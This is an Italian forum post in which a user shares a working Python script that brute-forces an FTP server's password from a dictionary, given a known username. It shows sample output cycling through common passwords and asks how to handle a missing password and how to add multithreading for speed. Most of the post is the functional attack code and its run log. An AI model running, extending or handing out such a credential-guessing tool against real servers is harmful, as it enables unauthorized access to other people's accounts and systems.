Seguendo uno di questi sono giunto a realizzare un piccolissimo script per trovare la password di un server FTP , conoscendone a priori l'username.
Si tratta di un bruteforce basato su un dizionario. Ho un piccolo dubbio. Presupposto che così come è, è molto ma molto lento e devo sicuramente aggiungere ora il multithread, se utilizzo un dizionario in cui non è presente la password, come potrei implementarlo nello script?
questo è lo script:
Codice: Seleziona tutto
import ftplib
from colorama import Fore, init, Back, Style
print('This is a simple bruteforce script against FTP Servers...')
host = input('Inserire host del server FTP: ')
user = input('Inserire username: ')
port = int(input('Inserire porta [Default is set to 21]: '))
#creo una funzione che accetta una password come argomento e ritorna se le credenziali sono corrette
def password_is_correct(password):
server = ftplib.FTP()
print(f"[!]Trying:",password)
try:
server.connect(host, port, timeout=5)
server.login(user, password)
except ftplib.error_perm:
return False
else:
print(f"{Fore.BLACK}{Back.GREEN}[+] Found credentials! {user}:{password}", Fore.RESET,Back.RESET)
return True
#ora faccio leggere la lista delle password
dictionary = input('Insert the dictionary path: ')
passwords = open(dictionary, encoding='latin-1').read().split('\n')
print(f'[+] Passwords to try: {len(passwords)} passwords')
#creo un ciclo di for e se la password viene trovata fermo il ciclo
for password in passwords:
if password_is_correct(password):
break
Codice: Seleziona tutto
Insert the dictionary path: /home/fabio/test.txt
[+] Passwords to try: 12 passwords
[!]Trying: 2345678
[!]Trying: abc123
[!]Trying: nicole
[!]Trying: daniel
[!]Trying: babygirl
[!]Trying: monkey
[!]Trying: lovely
[!]Trying: jessica
[!]Trying: 654321
[!]Trying: michael
[!]Trying:
Codice: Seleziona tutto
print('La password non è stata trovata nel dizionario, prova ad implementarlo o ad usarne uno più performante')
A naso farei qualcosa del tipo:
Codice: Seleziona tutto
if password not in passwords:
print('La password non è stata trovata nel dizionario, prova ad implementarlo o ad usarne uno più performante')